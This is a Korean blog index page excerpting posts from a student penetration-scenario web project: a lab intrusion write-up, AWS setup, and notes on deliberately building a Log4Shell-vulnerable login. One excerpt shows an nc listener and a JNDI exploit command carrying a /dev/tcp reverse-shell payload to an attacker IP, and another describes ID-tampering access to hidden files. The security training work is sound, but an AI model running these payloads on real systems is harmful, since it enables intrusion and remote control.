전체 글 (130) 썸네일형 리스트형 TEAM_A Records Recovery 침투 Write-up 초기 탐색제공된 IP로 접속하니 로그인 화면이 먼저 나타났고, `/index.php`로 직접 접근해 보니 게스트 권한으로 열리는 메인 대시보드와 일부 메뉴를 확인했다.다른 메뉴는 인증이 필요했지만, 일부 업무 자료는 비로그인 상태에서도 열람할 수 있어서 공개된 문서부터 살펴봤다.자료실에 있던 11·17·19번 문서를 내려받아 확인했다.문서에는 임시 계정 생성 규칙, 개인 경로 캐시, 관리자 확인 화면 등 이후 공격 경로 힌트(?)들이 있었다.다운로드 요청의 id 값을 순차적으로 다른 번호로 변경했고, 화면에 노출되지 않은 23번과 38번 문서에도 접근할 수 있었다.문서에 포함된 seed 값과 계정 복구 메모를 통해 로그인 가능한 계정을 알 수 있었다.획득한 계정으로 로그인하기 전, 로그인 페이지의 응답을.. 침투 시나리오 기반 웹 프로젝트 시나리오 취약점 최종테스트 로그인 페이지의 응답 HTML을 확인하여, 입력한 사용자명이 Log4j2를 통해 서버 로그에 기록되는 지점을 확인[터미널 1] VPN 인터페이스의 IP 주소를 확인한 후, 리버스 셸 수신을 위해 4444 포트를 리스닝더보기nc -lvnp 4444[터미널 2] JNDI-Injection-Exploit 도구를 실행해 LDAP 서버를 구동하고, 생성된 JNDI 페이로드를 확인더보기java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -A "공격자IP" \ -C "bash -c {echo,bash -i >& /dev/tcp/공격자IP/4444 0>&1}|{base64,-d}|{bash,-i}" bash -i >& /dev/tcp/공격자IP/4444 0>&1 -> b.. AWS 클라우드 서비스 서버 설정 1. 인스턴스 설정1.1. PUBLIC 인스턴스 설정EC2 콘솔의 인스턴스 메뉴로 이동한 후, 외부 웹 서비스를 운영할 Public EC2를 생성하기 위해 인스턴스 시작 클릭인스턴스 이름은 `team-b-public-web`으로 지정 후, 운영체제는 Ubuntu Server 선택인스턴스 유형은 프리 티어 사용이 가능한 것으로 선택하고, SSH 접속에 사용할 기존 키 페어인 `team-b-key-v1`로 설정프로젝트의 `team-b-vpc`와 `team-b-public-subnet`을 선택하고, 외부에서 접근할 수 있도록 퍼블릭 IP 자동 할당을 활성화보안 그룹은 미리 생성한 `team-b-public-web-sg`를 적용멘트 루트 볼륨은 범용 SSD인 gp3 유형의 8GiB로 설정하고, 별도의 파일 시스.. AWS 클라우드 서비스 네트워크 설정 1. 네트워크 구성 예시[인터넷 공격자] │ │ 9000 ▼[Public EC2] public_web DB 계정 없음 │ │ 8081: 정상 웹 기능 API │ 18080: 스캔으로 발견할 관리자 페이지 ▼[Private EC2] ├─ public-data-api :8081 │ └─ DB 계정: public_app │ └─ admin_web :18080 └─ DB 계정: admin_app │ │ 3306 ▼[Private RDS] projectdb ├─ users ├─ posts ├─ files ├─ admin_user └─ flag외부에 노출된 Public EC2와 내부 서비스가 배.. 침투 시나리오 기반 웹 프로젝트 개발 (2) 1. 외부망 이전 작업에 이어 비밀번호 찾기 기능을 구현했다. 처음에는 외부 API를 연동해 휴대폰 또는 이메일 인증을 적용할 계획이었지만, 프로젝트 일정상 임시 비밀번호를 발급하는 방식으로 마무리했다.각 기능을 병합하는 과정에서 누락된 부분을 확인하고 수정했으며, 게시글 수정과 삭제 등 권한 검증이 필요한 기능 전반에 검증 로직을 적용했다.게시판에는 검색 기능이 구현되어 있지 않아 제목과 내용 등을 기준으로 검색할 수 있도록 기능을 추가했다.기존에는 페이지당 게시글 수가 3개로 설정되어 있었으나, 사용성을 고려해 한 페이지에 10개씩 표시되도록 수정했다.게시글 작성 시 첨부파일을 업로드할 수 있도록 기능을 구현했다.원본 파일명과 실제 저장 파일명을 분리하고, 저장 파일명에는 UUID를 사용했다. 또한 .. 침투 시나리오 기반 웹 프로젝트 log4shell 구현 및 테스트 Log4Shell 구현//1. Log4j 2 라이브러리 임포트import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;... //클래스 내부에 로거 객체 선언 private static final Logger logger = LogManager.getLogger(AuthController.class);...//로그인 (세션 생성) @PostMapping("/login") public String processLogin(@RequestParam String username, @RequestParam String password, .. 침투 시나리오 기반 웹 프로젝트 개발 (1) DB 연결기존에 로컬 환경에서 사용하던 MySQL이 있어서, 별도로 새로 설치하지 않고 기존 DB를 그대로 활용했고, 프로젝트에서 사용할 portal 데이터베이스를 생성했다.PUBLIC - UI 개발 아직 백엔드 기능과 완전히 연결되지는 않았지만, 내가 맡은 외부망에서 사용할 기본 HTML 화면 구성을 진행했다.현재는 메인 페이지, 회원가입, 로그인, 마이페이지, 게시판 관련 화면 등을 정적으로 만들어둔 상태이다.이후 기능 구현이 완료되면 각 페이지에 데이터를 연결하고, 화면 흐름에 맞게 동작하도록 수정할 예정이다.아래는 현재까지 작업한 화면 구성이다.나름 이쁜 것 같기도..? GitHub 브랜치 작업 및 PR 병합현재까지 구현한 Public UI 관련 소스를 별도 브랜치에 push하였다.처음으로 팀 프.. 침투 시나리오 기반 웹 프로젝트 개발 환경 구성(2) 1. 프로젝트 기본 구조 구성 및 환경 설정 구성안에 따라 프로젝트 기본 패키지 및 디렉터리 구조를 생성1.1. build.gradle 설정plugins { id 'java' id 'org.springframework.boot' version '2.7.18' //id 'org.springframework.boot' version '3.5.15-SNAPSHOT' id 'io.spring.dependency-management' version '1.1.7'}group = 'com.example'version = '0.0.1-SNAPSHOT'java { toolchain { languageVersion = JavaLanguageVersion.of(17) }}repositories { mavenCentral(.. 이전 1 2 3 4 ··· 17 다음